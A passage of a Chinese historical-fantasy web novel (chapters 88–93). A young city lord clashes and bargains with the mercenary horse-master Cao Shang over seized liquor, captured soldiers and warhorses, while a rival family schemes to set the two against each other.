“听雨楼的酒水被抢,咱们派去随行护卫的军卒也被人抓了!”
第88章专好寡妇的曹贼
“饮马镇?”
陌生的地名让洛羽很是疑惑,事情的起因很简单:
听雨楼的酒水生意越做越大,逐渐开始卖往周围郡县,有时候去一些新地方卖酒时担心土匪劫道,苍岐会派出部分军卒随行护送,而这次走到半路连人带酒全被抢了。
“对,饮马镇!”
董川阴沉着脸:“此地在苍岐东南方六十里处,算是阙州内地,咱们的酒水就是在这被抢的。”
“这地方有土匪吗?”
洛羽皱起了眉头:“一标三十号精锐士卒护送,寻常**贼土匪不可能是他们的对手啊?”
“饮马镇我知道,此地的情况十分特殊。”
韩朔有条不紊地说道:
“所谓饮马镇并不是一个镇子,那儿水土丰美,地势平坦,实际上是一座天然马场。
有一伙人一直盘踞在饮马镇,领头的乃是阙州境内有名的淫贼,专好寡妇,据说家中九位小妾,全都是从别处抢来的寡妇。”
“寡妇?”
洛羽一愣,下意识地脱口而出:
“曹贼?”
“咦?城主怎么知道他姓曹?”韩朔愕然:“你听过?”
“没听过,我瞎猜的。”洛羽很是尴尬:“你接着说。”
“这也能猜中?”
韩朔满腹狐疑,但还是耐心介绍起来:
“这位头领姓曹名殇,多年前拉起一帮兄弟占住了饮马镇,渐渐笼络起上千兵卒。他们既不算土匪也不算是李家的牙兵,更不是什么城主,因为曹殇的地盘就只有饮马镇那么大,没有任何属地,算是阙州的一处特殊所在。”
“没有任何属地?也不是李家的牙兵?”
洛羽好奇起来:“那曹殇靠什么养活手下的人?”
想当初自己刚到苍岐城的时候为了养活三四百人都得绞尽脑汁,曹殇靠巴掌大点的地方怎么能养得起那么多兵?
“一靠卖马,饮马镇每年能产出良马几百匹,在陇西马匹可是好东西,饮马镇自然能挣个盆满钵满。二是充当佣兵,替别家解决麻烦。”
“佣兵?”
“简单来讲就是收人钱财,替人办事。打个比方,某个家族与另外一个世家结怨,但家族实力不够,便可以出钱请曹殇去灭了对方。”
“原来如此。”
洛羽恍然大悟,合着曹殇是这个时代的雇佣兵:“这么说他实力很强咯?”
“自然很强,靠着饮马镇每年产出的马匹,他手下至少有上千精锐骑兵,都是滚刀肉。”
洛羽一惊,自己混了这么久才三百多骑兵,曹殇竟然有上千!
韩朔竖起两根手指:
“阙州盛传曹殇只爱两样东西,一是寡妇;二是银子。只要银子给得够多,什么事他都敢干。但此人绝不是贪财好色的酒囊饭袋,相反手段极为狠辣。
据说当年为了夺取饮马镇,曹殇将原先盘踞在此的家族整个灭门,尸体在镇子外面足足挂了一个月。后来为了银子又多次制造灭门**,只要被他盯上,满门上下、老幼妇孺绝不会留下活口,凶名赫赫。”
“听起来真是个狠人。”
洛羽皱眉不解:
“可他怎么会盯上咱们的酒?”
“城主,饮马镇还放了一名咱们的兄弟回来。”
沉默许久的董川铁青着脸:
“说是想请您去一趟饮马镇,有要事商议。”
“不行,城主决不能去。”
萧少游当即反对:
“以曹殇的实力没必要打一百多坛酒的主意,依我看他就是故意冲着你来的,情况不明,贸然前去太危险。”
“曹殇说您要是不去,就会把兄弟们的人头全都砍下来,摆在苍岐城门口。”
董川最后一句话让所有人的脸色都黑了下来,韩朔更是勃然大怒:
“大胆狂徒,竟敢惹我苍岐!城主,咱们现在就点齐兵马赶赴饮马镇,把兄弟们救回来!”
“韩大哥别冲动!”
萧少游急忙扯住韩朔:“冷静一点,凡是都得从长计议!”
“没什么好商议的,既然点名让我去,去一趟又何妨?”
洛羽缓缓抬头,冰冷的眼眸中充斥着寒光:
“区区一个曹贼,能耐我何?”
……
洛羽带着小伍、蒙虎以及五十精骑来到了饮马镇外围,名字叫饮马镇,实际上更像是废弃村落改造的军营,外围兼有两排营墙,远远望去里面是一排排民
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房。
据说饮马镇以前是有老百姓的,但自从曹殇占据此地之后便把所有百姓都赶走了,民房都成了军营。
镇子外围便是一望无际的草原,微风吹拂,草浪滚滚,依稀可见成群的马驹在撒了欢的奔跑。
“马场,好大的马场啊。”
洛羽眼珠子都直了,长这么大他头一回见到马场,苍岐城现在最缺的就是战马,一时间他竟然羡慕起曹殇了,能占得如此风水宝地。
镇口的营门大开,洛羽通报姓名之后便有人领着他们往深处走去,明显是曹殇早有吩咐。
进了营门之后便与寻常村镇一般无二,成排的民房木屋,只不过来往的都是士卒,身上穿着一件粗布衣裳制成的军服,胸口写着一个大大的“曹”字。
这就是陇西的特色,你所属的势力首领姓什么,军服上就会写着什么字。
一群陌生人在街道中穿行引来了无数好奇的目光,还有人在窃窃私语,似乎在猜测洛羽的身份。
“驾!”
“哒哒哒~”
数十骑兵从众人身边疾驰而过,耀武扬威,人人面带悍色,蒙虎情不自禁地点了点头:
“这个姓曹的应该有些本事,麾下骑兵比那个姚林强多了。”
“若是没本事也占不住这么一片马场啊。”
洛羽目光微凝,所谓匹夫无罪怀璧其罪,马场这种东西但凡有点实力的家族都想染指,曹殇能在饮马镇立足这么多年,没两把刷子是不可能的。
晃悠了一会儿众人便来到了曹殇的住所,门口还有模有样的挂了牌匾,歪七扭八地写着“曹府”两个大字。
到了这随行的骑兵就不能进去了,只有小伍和蒙虎跟着洛羽步入正厅,卫兵冷冷地丢下一句:
“你们在这等着吧,我去通报。”
洛羽不紧不慢,正襟危坐,小伍和蒙虎一左一右侯在两边。
时间一分一秒地流逝,迟迟不见有人出现,下人甚至连一杯热茶都没端上来,摆明了要给洛羽一个下马威。
就在蒙虎要发脾气的时候,一道粗狂中又带着讥讽的笑声终于传出:
“让我瞧瞧,救了阙州的大英雄到底长什么模样。”
第89章你算个什么东西
一名中年男子从屏风背后走出,套着一件黑色劲衫,腰系束带,脸颊布满了岁月的沧桑,眉骨处还有一道淡淡的刀疤,让整张脸看起来有些狰狞。
饮马镇的主宰,阙州人尽皆知的寡妇爱好者:
曹殇!
四目相对,两人都在打量着对方。
洛羽客气地抱了下拳:
“苍岐洛羽,见过曹头领,久闻大名未曾前来拜谒,是我失礼了。”
“久闻大名?呵呵,我曹殇不是天字第一号淫贼吗,还能有什么好名声不成?”
曹殇讥讽一笑,嘴角微微上扬:
“阙州境内盛传边关出了个少年英雄,阵斩完颜昌、死守云阳关、又在三岐山建起了新城,没想到竟然如此年轻。
真是后生可畏啊。”
这家伙倒也是个怪人,提到淫贼二字的时候并没有丝毫羞愧,嘴角的笑意反而扩大了。
曹殇四仰八叉地往主位上一坐:
“洛城主胆子也真是大啊,区区五十人就敢进入饮马镇?
就不怕折在这?”
“曹首领相邀,我岂能不来?”
洛羽波澜不惊:
“再说了,饮马镇又不是龙潭虎穴,曹首领也不是**不眨眼的恶魔,为何要怕?”
“看起来倒有几分胆色。”
曹殇翘起二郎腿:“说说吧,洛城主今日来有何目的?”
“自然是想请曹城主放了我那三十号兄弟。至于被扣下的一百坛酒,就当是送给曹城主的见面礼了。”
洛羽目光微挑,既然曹殇爱钱,那就给他,士卒的命更重要。
“哦吼,一百坛酒就这么送给我了?那可值上千两银子啊。”
曹殇目露精光:
“洛城主果然大气。”
“些许薄礼不成敬意,就当与曹头领交个朋友。”
“跟我交个朋友?”
曹殇身体前倾,眼眸微凝:
“怎么,洛城主觉得我是什么穷酸**贼,区区一百坛酒就想把我打发了?”
屋中没来由地多出一丝冷意。
洛羽脸上的笑意也渐渐消失:
“那咱们就明人不说暗话,怎么样才能放了我三十号兄弟?”
“简单。”
曹殇大手一挥:
“洛城主不是和听雨楼做酒水生意吗?你也可以和咱们饮马镇合作,三锅头以成本价卖给我曹殇。
以后阙州一分为二,一半归听雨楼、一半归饮马镇,咱们各卖各的酒,谁也不许越界,有钱大家一起赚,其乐融融。
这条件不算高吧?”
洛羽目光冰冷,这家伙还真是狮子大开口。
江殊尚且用一倍的价格采购三锅头,曹殇张嘴就是成本价,还要分走阙州一般的销售渠道。也就是说以后洛羽的利润要少一半。
要知道现在的苍岐人口众多,每天吃喝拉撒都要钱,田赋远远不够,全靠三锅头的利润支撑,曹殇这是想断了苍岐城的活路!
洛羽平视曹殇:
“曹头领想和苍岐做生意是我的荣幸,只是这价码太高了些。
若是诚心想做生意,先放了我的兄弟,咱们再坐下来好好谈谈。”
“好好谈谈?”
曹殇往椅背上一靠,面带讥讽:
“提醒你一句,你的人在我手上,是生是死我说了算,你可没资格和我谈条件。
要么,你带着三十条尸体回去;要么,答应我的条件。”
咄咄逼人的语气并没有给洛羽留任何颜面,洛羽还能沉得住气,可站在背后的蒙虎已经捏紧了拳头,恨不得冲过去给他一拳。
“噢,不对,不是三十条命,而是六十条。”
曹殇装模作样地啊了一声:
“若是我没记错,今天听雨楼还有一批酒要往外送,苍岐派了三十军卒护送吧?
算算时间,现在人和酒应该都被我扣了。”
“是吗?”
没有预想中的惊慌失措,洛羽反而漫不经心地说了一句:
“所以昨晚饮马镇有一百骑外出,就是劫道去了?”
曹殇下意识地愣住了:
“你怎么知道?”
“如果我说你的一百骑已经全被我生擒了,你信不信?”
淡淡的笑容让曹殇面色冰冷:
“诈我?”
“大哥,大哥!出事了!”
恰好有一人匆匆忙忙走了进来,脸色很不好看,看到洛羽在座的时候又闭上了嘴,欲言又止。
曹殇心头咯噔一下:
“说!怎么了!”
“苍岐,苍岐抓了我们的人,一百号兄弟就放回来一个。”
那家伙瞪着洛羽,气鼓鼓的。
洛羽嘴角微翘:
“酒水已经被劫过一次,难道我会在同一个地方跌两次跟头?真当我傻?
曹头领也是**湖了,这点戒心都没有?”
“妈的,竟然是诱饵。”
曹殇暴怒无比,猛地摔碎手中的茶碗:
“这
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么多年还是头一次有人敢跟我玩手段,信不信今天让你走不出饮马镇!”
“砰!”
茶碗碎裂,水花四溅。
屋外涌进来十几名身材壮硕的大汉,人人手持利刃,凶神恶煞,只待曹殇一声令下便要将他们大卸八块。
蒙虎和小伍浑然不觉,悍然拔刀护在洛羽身侧。
“稍安勿躁,把刀收起来。”
洛羽很随意地摆了摆手,自信一笑:
“我赌曹首领不会杀我。
若是真想杀我,进饮马镇的时候我就**,何必等到现在?”
“是吗?”
“我曹殇可是**不眨眼的!”
话音刚落,曹殇就拔出了腰间佩刀,健步前冲,刀锋笔直地砍向洛羽。
“下辈子长点记性,别得罪不该得罪的人!”
“死吧!”
刀锋带起了些许破风声,眼看着就要砍中他的脑袋,可洛羽却没还击的意思,还不紧不慢地捧起茶杯抿了一口。
蒙虎都急**,恨不得帮洛羽挡刀,可洛羽硬是不让他动。
所有人都以为下一刻洛羽必死,蒙虎和小伍的心都悬到嗓子眼了。
“蹭!”
刀锋最终悬停在距离洛羽咽喉不到两寸的位置,再进一步,就是鲜血飞溅。
劲风甚至让茶水泛起了淡淡的涟漪,可洛羽连眼皮子都没抬一下。
曹殇的眼神中第一次出现了凝重之意,好胆魄!嘴上却冷声道:
“怎么,堂堂苍岐城主,阵斩完颜昌的人物,竟然连还手的勇气都没有?
我曹殇可正想领教一下……”
话才说到一半,洛羽就动了,腰肢猛地往侧边一扭避开刀锋,右手握掌成拳,狠狠砸向曹殇的腰腹。
曹殇目光陡变,下意识的挥刀下劈,转攻为守,这一刀若是砍中,洛羽整条胳膊就没了。
就在曹殇以为志在必得之际,洛羽的左手突然一翻,寒光乍现。
刀锋!右拳分明是虚晃一招,真正的杀招在左手!
曹殇心头一凉,浑身的寒毛都竖了起来,这速度他根本来不及反应。
破晓几乎是瞬间抵在了曹殇的咽喉处,再轻轻一滑曹殇的命就没了。
“大哥!”
满屋亲兵全都惊呆了,好快的速度!
曹殇整个人都僵住了,再也不敢动弹一下,后脑勺发凉。
洛羽冰冷的嗓音回荡在他的耳旁:
“现在可以好好谈谈了?”
第90章不卖,送客!
屋内重回寂静,持刃的军汉全都撤下去了,但曹殇用一种羞怒的眼神瞪着洛羽,很是气不过在自己的地方栽了跟头:
“说说吧,你想怎么谈!”
“先谈人,再谈生意,咱们一码归一码。”
洛羽平静的说道:
“我用你的一百骑换回我手下三十号兄弟,曹首领不亏,如何?”
“成交,谈谈生意吧。”
曹殇痛快得很,他手下的兵都是宝贝,同样舍不得死。
“我还是那句话,曹头领想和苍岐做生意,没问题,我欢迎。”
洛羽微微一笑:
“可做生意嘛,有买有卖。苍岐城有三锅头,饮马镇是不是也该出点什么东西来换?总不能光凭曹头领一张嘴就想用成本价将三锅头换走吧?”
“噢?洛城主这是看上什么东西了啊。”
曹殇的嘴角勾起一抹玩味:
“让我猜猜,你想要战马?”
“曹首领果然聪明。”
“哼,除了战马,饮马镇也没什么值钱的东西。”曹殇不以为然:“听说洛城主最近招募了很多新兵,正是缺马的时候。”
“我缺马,你有马,咱们大可以合作嘛。”
洛羽接着说道:
“苍岐卖给听雨楼的酒是十两一坛,市面上可以卖到二十两一坛,足有一倍的利润,甚至更多。
阙州境内,良马的市场价是五十两银子一匹,我可以用六坛酒换你一匹马,相当于花六十两买你一匹马。至于销售区域可以和听雨楼再谈,江掌柜与我交情深厚,定然不成问题。
这笔买卖,饮马镇绝对不亏。”
“听起来倒是不错,你想要多少马?二十匹,还是五十匹?”
“曹首领也太小瞧我了。”
洛羽缓缓竖起三根手指:
“至少三百匹!”
洛羽的眼中闪烁着精光,他在来之前就想清楚了,尽量不要与曹殇结仇,因为他手里的马正是苍岐城最缺的东西,要不然以他的性子岂会对曹殇这么客气?
“这么多?”曹殇略显惊讶:“洛城主好大的胃口,这笔买卖价值万两啊。”
“曹首领意下如何?”
“听起来饮马镇确实有得赚。”
曹殇冷冷地说道:
“但我得好好考虑一段时间,听说洛城主此前和鼎香居做生意,摆了他们一道,我曹某人可不想步杜刚的后尘。”
“可不是我要摆鼎香居一道,而是鼎香居不仁不义在前,曹首领总不至于是非不分吧?”
洛羽眉宇微皱,看来这笔生意没自己想得这么轻松。
“我这个人行事一向谨慎,可不会只听你的一面之词。”
曹殇终于站了起来,面无表情地说道:
“从今天起听雨楼的酒就别卖往饮马镇的方向了,等我们的生意谈妥再说。
否则我见一次劫一次!”
“送客!”
生意聊到一半曹殇突然翻脸,洛羽一行人就这么被赶出了饮马镇,不过他没有食言,此前被扣押的三十号军卒全都给放了。
“妈的,这个曹殇半点道理都不讲!”
望着身后的镇子,蒙虎气不打一处来:
“羽哥已经给足了他脸面,竟然还把我们赶出来,狂妄至极!按我的性子就该点齐兵马拿下饮马镇,这样整座马场都是我们的!”
“胡闹!你没看见镇子里起码有上千骑兵吗!”
洛羽瞪了他一眼:
“若没点真本事,曹殇怎么可能占据饮马镇这么多年?一旦开战,胜负尚未可知。就算我们打赢了,又得死多少兄弟?
我们和曹殇又没有血仇,何必死拼?”
“可他故意找咱们麻烦,简直可恶!”
“哼,你以为是曹殇找我们麻烦?”
洛羽冷笑一声:
“其实背后另有其人。”
“另有其人?”蒙虎眉头一皱,随即猛地反应过来:
“大哥是说姚家又在背后捣鬼!”
“除了他们还能有谁?”
洛羽策马前行:
“战马的事咱们再琢磨琢磨,走!”
……
洛羽刚离开饮马镇,姚昌就从后厅走了出来,面带不解:
“曹头领,洛羽在你的地盘如此放肆,为何不杀了他?”
姚昌,就是带着八百兵马攻打苍岐,结果却被吓得屁滚尿流的那位,只不过现在的他又恢复了姚家人的高高在上。
刚刚洛羽和曹殇的交谈他全程
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都在听着,恨不得冲出来一剑捅死洛羽,以泄心头之恨!
“我和他无冤无仇,为何要杀他?”
曹殇漫不经心地说道:
“你们姚家出的五千两银子只够我断了苍岐城和听雨楼的财路,似乎不包括**吧?现在他们的酒水销路已经被我断了一半,你还有什么不满意?”
曹殇的话直接把姚昌给噎住了,不知该如何作答。
“想要杀了洛羽也简单,两万两白银。”
曹殇竖起了两根手指,微微一笑:
“这个价格很公道了,你想想,当初姚家八百人都打不过苍岐城三百精兵,如今苍岐又招募了不少新兵,对付起来更加麻烦,我出兵去杀洛羽,也得死不少人,两万两不贵。”
姚昌脸皮微僵:
“容我考虑考虑吧。”
……
“这个曹殇,简直是狮子大开口,两万两白银?他怎么不去抢呢!妈的,真把自己当成山大王了,不过就是饮马镇的一个破落户罢了!”
“鼎香居一年都挣不到两万两,他上嘴皮一碰下嘴皮就想从我们手里捞走两万两,做梦!”
城主府里回荡着姚林的骂声,明显对曹殇开出来的价格极为不满。
换做以往,五千两银子是绝对请不动曹殇的,但这次有君家出面,曹殇多少卖给姚家一分面子,可杀一个人竟然要价两万,姚林实在舍不得掏这笔银子。
别看凤川城是个繁华的大城,姚林平日里风光满面,可他手下有那么多人要养,还要给上头的李家孝敬,两万两对他来说是一大笔银子,掏出来的话得咬碎后槽牙。
“大哥,其实我倒觉得没必要出钱让曹殇**。”
姚昌目光微寒,低声道:
“听雨楼的财路已经被曹殇断了一半,今天洛羽也在饮马镇落了曹殇的脸面,说起来二人已经结怨。
若是我们能从中挑拨,将两人之间的仇恨加深一些,不用我们出手,曹殇就会自己去杀了洛羽。”
“噢?”
姚林的目光瞬间亮了起来:
“你的意思是,借刀**?”
“没错!”
姚昌冷笑一声:
“弟弟这里有个好主意……”
第91章战事吃紧
“咣当咣当!”
“嘿呦嘿!”
赤岐山脚下的铁匠铺规模越来越大,一名名赤裸着上半身壮汉正挥汗如雨,反复捶打铁块,使其成为合格的兵器。
苍岐一战全歼八百姚家兵,一来得益于精兵训练有素,二来便是兵器胜人一筹,苍刀之威功不可没。
公输白得意洋洋地介绍道:
“上一次你跟我说过,将生铁与熟铁混合在一起有可能得到质量更好的钢。
这一个月来我反复试验、对比,总算是将两者之间的混合比例给研究出来了,最新一批的苍刀已经开始用此法锻造,质量更为上乘!
你们就瞧好吧,哈哈哈!”
“很好,来,尝尝我特地为你酿的酒。”
洛羽扔出一个酒葫芦,里面的酒是经过多次提纯的,味道比三锅头要醇美得多。公输白没日没夜地给他干活,总得给他点报酬不是。
“唔,好香!”
公输白仅仅是凑近闻了一下便目光锃亮,立马大口猛灌:
“呼,好烈的酒!过瘾!”
“哈哈哈,我就知道跟着洛城主干准没错!”
“是吗?”韩朔白了他一眼:“也不知道当初是谁不肯来,硬是被我绑着过来。”
“嘿嘿,多亏了韩叔,不然我哪能喝到这么好的酒。”
公输白嬉皮笑脸,咕噜咕噜又喝了两口。
“别光顾着喝酒,还有正事呢。”
洛羽板着脸道:“城内一下子多了八百新兵,他们需要的甲胄、兵器需要多久才能全部打造完毕?”
“快了快了,没看到我的人在日夜赶工吗?”公输白苦着脸道:
“打铁可是个精细活,一时半会儿急不得,我这些兄弟们每天只能休息三个时辰,苦得很啊。”
洛羽眉头微皱,现在打造一千两百人所需要的军械就已经捉襟见肘,以后若是有上万兵马怎么办?
这速度太慢了。
沉思片刻,洛羽很认真地说道:
“你看,你现在采用的方法是分炉烧制铁矿石形成铁水,得到铁水之后还需要停炉取材,这样耗费的时间太长。
或许我们可以建起一座竖炉,也称高炉,炉壁采用黏土和石英堆砌,这样可以耐高温。
从上方炉口处添加木炭木材烧制,下方建造炉缸,用来储存铁水和废渣,让铁水能够源源不断地从里面流出……
此法我称之为高炉炼铁,如此一来速度便可以大大提高。”
洛羽从记忆中搜索了很多很多,黑岐山有大量黑松木,足以用来作为燃料,赤岐山又有大量铁矿,如此得天独厚的优势几乎就是为炼铁专门打造的。
但他只懂大概知识,具体操作就得靠公输白这个天才了。
“妙啊,高炉炼铁,量大时间又快!”
公输白听得一愣一愣,瞪着洛羽,就像是见了鬼一般,洛羽被看得浑身不自在:
“干嘛这么看着我?”
“我怎么觉得你更像是匠造天才?”
公输白满腹狐疑:
“每次给我提出的点子都能让我茅塞顿开,若按照你的法子进行炼铁,速度能提升数倍不止。
你确定你上辈子不是个铁匠?”
洛羽连翻白眼,刚准备怼他几句萧少游就从一旁走了过来:
“查清楚了,饮马镇今年应该有三四百匹好马等着卖,听说已经有不少世家上门询价了,眼下曹殇正在待价而沽。”
洛羽从饮马镇一回来就派萧少游打听消息去了,他想摸一摸曹殇的底。
“饮马镇水土肥美,产马的好地方,曹殇看起来也是养马的行家,三四百匹战马可不是小数目。”
洛羽抱着膀子分析道:
“寻常时节还好,但眼下边关正在打仗,战马的价格一定会涨,怪不得曹殇不肯卖给我们,倒是我欠缺考虑了。”
“买卖谈的就是价格,既然曹殇不愿意卖就说明我们出的价不够诱人。”
韩朔沉声道:“想买马,只怕咱们得出一波血了。”
“不管付出多大代价,咱们都得把这批战马弄到手!”
洛羽背着手走来走去:
“都给我想!咱们苍岐还有什么东西能让曹殇心动!”
几人愁眉苦脸,苍岐城此前可是一穷二白,如今刚能吃饱饭,哪能拿出什么好东西?
萧少游突然抬起头:
“韩大哥,前几天你带人设伏,生擒了饮马镇一百骑,他们的兵器你还有印象吗?”
“有啊,怎么
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了?”
“他们的兵器如何?”
“只能算稀松平常吧。”
韩朔想了一会儿后说道:
“反正我当时和一个百夫长交手,只对了三招他手里的刀便被我砍断了,接着被我活捉。
如果不是活捉了他,想要生擒一百人还是极为困难的。
你问这个干嘛?”
“呵呵,三锅头他看不上眼,锋利的兵器他总瞧得上吧?”
萧少游微微一笑:
“饮马镇有良马,可没有铁矿啊。精良的铁骑与战马一样都是稀罕物,曹殇既然干的是佣兵行当,手下军卒的战斗力便极为重要,他一定想要铁器!”
“对啊!我怎么没想到!”
洛羽一拍大腿:
“我想起来了!那日在饮马镇看到的绝大多数骑兵都只穿着布衣,鲜有人配穿铁甲!
饮马镇必缺铁!”
萧少游嘴角上扬:
“如果我们拿出一批上好的甲胄兵器,再加上些许三锅头,曹殇一定心动!”
“主意是好主意。”
韩朔提出了自己的疑虑:
“可曹殇若是有了铁甲弯刀,以后会不会对我们构成威胁?
这家伙可不像是什么好人。”
“这个简单。”
洛羽看向公输白:
“你来打造一批稍次些的军械不就得了,只要不如我们的苍刀就行。”
“得,你们出主意我来干活是吧?”
公输白晃了晃手中酒葫芦:
“罢了,拿人手短,**嘴短啊。”
“哈哈哈!”
“还有一件事。”
萧少游的脸色凝重起来:
“前线传来消息了。”
“怎么说!”
洛羽和韩朔同时竖起了耳朵,云阳关开战近两个月,也不知道是个啥情况。
“情况不太妙,前线吃了好几场败仗,**很多人,据说李家**两个家将,损失惨重。
现在不少边关百姓都在往内地逃,人心惶惶。”
氛围顿时紧张,西羌这次是替完颜昌报仇来了,来势汹汹。
“看来我们得抓紧时间充实军力了。”
洛羽目光冷厉,看向云阳关的方向:
“我总有一种预感,云阳关守不住!”
第92章虚伪至极的小人!
饮马镇
地上摆着整整齐齐二十具尸体,血污染红了胸口的“曹”字,每具尸体都挨了好几刀,砍得血肉模糊、惨不忍睹。
曹殇咬牙切齿,死死攥住拳头:
“到底是谁,敢对老子的人下黑手!”
前天这队骑兵外出办事却迟迟不归,饮马镇便派人出去找,结果只找到了二十具死尸。
身边的手下同样气愤不已:
“现场没有遗留下痕迹,但战马全都不见了,似乎被人刻意拉走了。”
“妈的。去查,给我好好的查!”
曹殇怒目圆睁:
“我倒要看看,阙州境内谁敢在我曹殇头上动土!”
“什么卑鄙无耻的小人,敢伤饮马镇的兄弟!”
姚昌也站在一旁打抱不平:“曹首领放心,我立马传信兄长,凤川城也会派出人手帮你一起查!”
“那就有劳姚将军了。”曹殇都快气**:“只要让我查出动手之人,必要将其大卸八块!”
“曹首领最近有没有与人结仇?”
“结仇?”曹殇皱眉苦思:“没有啊,最近除了和苍岐城有过接触,再无旁人。”
“那会不会是他们!”
姚昌犹犹豫豫地说道:“曹首领劫了听雨楼的酒,又拒绝了买马的交易,洛羽会不会怀恨在心,刻意报复!”
“有道理啊。”
曹殇陡然反应过来,面带疑虑:“难道是他?”
一名亲卫突然急匆匆地走了过来:
“苍岐城的洛羽来了,说要见您。”
“他来了?”
曹殇与姚昌同时愕然,这时候洛羽来找他干什么。
“叫进来吧。”
曹殇袍袖一挥:“我倒要看看他的葫芦里卖的是什么药!”
……
曹府正厅
刚刚被请进屋中的洛羽微皱眉头,他总觉得曹殇看自己的目光带着恨意,咋回事?
曹殇冷冷的开口了:
“洛城主,你的人不是已经放回去了吗,怎么又来了?”
洛羽轻笑道:“不是说好和曹头领谈生意吗?在下不请自来,冒昧了。”
“谈生意?我现在可没心情跟你谈生意。”
曹殇目光微凝:
“就在昨天,我手下一标兄弟被人暗杀了,到现在都没找到凶手。洛城主难道觉得我还有心情和你做买卖?”
洛羽诧异了:“竟然有人敢杀饮马镇的人?”
“我也好奇,到底是何人如此大胆。”曹殇身体前倾,紧盯着洛羽的眼眸:
“洛城主,你觉得是谁?”
“我岂会知道?”
洛羽想明白了曹殇的恨意从何而来,反问道:“曹首领该不会以为人是我杀的吧?”
“不是吗?”
“如果是的话,你觉得我今天还会出现在饮马镇吗?”
洛羽宛如看待**:
“我洛羽就算再杀,也不至于主动送上门给你杀吧?”
曹殇愕然,好像还真是这么个理。
“呵呵,我不过是随口一问罢了。”
曹殇收起了充满敌意的目光:“洛城主这次又想做什么买卖?”
“自然是想买你的马,这次我给曹首领带来了好东西。”
洛羽轻拍手掌,蒙虎与小伍便抬着一口箱子走了进来,咣的一声打开,里面码放着数十把弯刀。
曹殇就像是听到了什么笑话:“嗤,洛城主这是何意?区区几把刀就像买我的马?”
“先别急着下结论。”
洛羽自信满满:“试试再说。”
曹殇将信将疑地站起身,抄起一把弯刀挥舞了几下,当他的目光扫过刀锋时明显出现了兴趣:
“来人,拿把刀过来,举稳了不要动!”
门口的亲卫立马拎着刀走进屋,还没站稳曹殇就起手一刀狠狠劈了过去:
“当!”
“咔擦!”
刀锋滑过,亲卫手中的兵器应声而断。
“好刀。”曹殇第一次露出凝重之意:“当真是好刀。”
洛羽早就料到曹殇会是这种反应:
“怎么样,曹首领喜欢吗?”
“喜欢,看来洛城主手中真有好东西啊。”
曹殇爱不释手地把玩着:
“说说吧,洛城主这次想做什么生意?”
“简单。”
洛羽大手一挥:
“价格还是像上次说的,六坛酒换一匹马,除此之外每一匹战马我可以加一柄这样的弯刀。
曹首领是行家,应该知道这么一把刀价值不菲。况且除了苍岐,别的地方也打造不出如此好刀。”
“好刀确实是好刀。”
曹殇略带不舍地将刀放了回去:
“但这笔买卖,我曹殇不做。”
“为什么?”
洛羽真的想不通了,自己拿出的东西价值不菲,可以说已经超出了马匹的市价,为何曹殇还是不愿意卖?
“我曹殇爱银子,但我做生意也看眼缘。”
曹殇翘起二郎腿漫不经心地说道:
“如果是我看不对眼的人,想跟我做生意,门都没有。”
“这么说曹首领是看不上我了?”
洛羽的神色逐渐冷漠:“似乎是你先劫了苍岐
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城的酒吧,苍岐从未主动得罪过你。”
“不不不,与劫酒一事无关。”
曹殇冷冷一笑:“而是你太过虚伪!”
“虚伪?”
洛羽蒙了,他第一次听到别人如此评价自己。
“我问你,你为何要买马?”
“自然是为了保护百姓。”
洛羽不明白曹殇为何这么问,但还是回答道:
“边关战事吃紧,羌贼随时可能侵入内地烧杀劫掠,苍岐这么多百姓,我既然当了城主,就该让他们活下去。
有了战马就能充实军力,战力上来了才能与羌兵有一战之力。”
“呸!话说得好听。我看分明就是为了你自己!”
曹殇讥讽道:
“一开始听说你在云阳关杀了完颜昌、挡住羌贼,还真以为阙州出了个英雄,可你看看自己都干了些什么事?
先是在苍岐建城当上了城主老爷;然后又卖酒、酿酒,赚得盆满钵满。再接着招兵买马,扩充实力,和姚家争抢地盘。
你干的这些事哪一件不是为了你自己?自私私利的小人罢了,与常人并无不同!”
“你若真是个俗人小人也就罢了,可你却顶着个英雄的名头干着小人的事,你有哪件事是为了老百姓?现在又打着保护百姓的幌子来买马。
虚伪至极!”
“此言谬矣!”
如此说辞把洛羽被气得不轻,冷喝道:
“酿酒卖酒是为了养活苍岐城内的百姓,不然他们吃什么喝什么?招兵买马不是为了争抢地盘,是姚家对我出手在前,苍岐从头到尾都在自保!”
“的得的,你别跟我说这些。”
曹殇直接打断了洛羽的解释:
“我就问你,你不是口口声声说为了老百姓吗?现在云阳关战事吃紧,你怎么不带兵去前线杀敌?保家卫国?”
“我……”
洛羽竟然真被问住了,有些羞怒地反问道:
“你不是也没去?”
“我?哈哈,我和你不一样。”
曹殇仰天大笑,不以为意:
“您洛城主是名震阙州的大英雄,人人敬仰的好汉,我曹殇算个什么东西?臭名昭著的淫贼马匪罢了。
老百姓在背后指着脊梁骨骂我,我凭什么去保护他们?”
洛羽铁青着脸,发现自己真说不过曹殇,因为曹殇压根不讲道理,把自己架在了道德的制高点。
曹殇竖起一根手指,表情冰冷:
“今天我就把话跟你讲清楚了,一匹战马你也别想从老子这弄走。”
“滚蛋!”
第93章老子要踏平苍岐!
“没想到曹殇竟然对我们有这么大的敌意,光凭能不能看对眼来决定做不做买卖,真是个怪人。”
萧少游苦笑道:
“咱们从未得罪过他,反倒是被他记恨在心。”
“要我说此人就是个不讲道理的无赖!”
韩朔愤愤不平:“一口一个自私自利、虚伪至极,可咱们给难民、流民提供可以栖身的地方,让他们有饭吃有衣穿!还打土豪、分田地,让百姓们有自己的地可以种,这些他全当看不见!”
洛羽有没有为老百姓做过实事大家心里都门清,哪像曹殇说的那般自私?
“人总是固执的。”
洛羽平静地说道:“江山易改、本性难移,他既然在心里认为我虚伪,那不管我们怎么说怎么做他都不会认可。”
从饮马镇出来的时候洛羽很气愤,被人误解的感觉很不好受。可回来后他就想通了,第一印象总是会先入为主,而曹殇对他的第一印象就是虚伪,无法改变。
“现在说什么都没用了。”
萧少游无奈地摇摇头:
“本以为这次能用上好的弯刀换马,但现在看来我们是没希望从饮马镇弄来马匹了,只能另寻他法。”
几人情绪低沉,十拿九稳的买卖没想到以如此戏剧化的方式被曹殇给拒绝了。
“那倒不一定。”
洛羽缓缓抬头:“今天曹殇提了一嘴,饮马镇有一队骑兵外出被人杀了,凶手不明。”
“这种时候对曹殇出手?那曹殇肯定要怀疑到我们头上啊。”
萧少游的脑筋转得最快,瞬间反应过来:
“我怎么觉得行凶之人不是冲曹殇去的,更像是冲我们来的?想要借曹殇的手对付我们?”
韩朔冷笑道:“如此歹毒的心机,掰着手指头算,和咱们有深仇大恨的似乎只有姚家。”
“没错,所以我怀疑是姚林在搞鬼。”
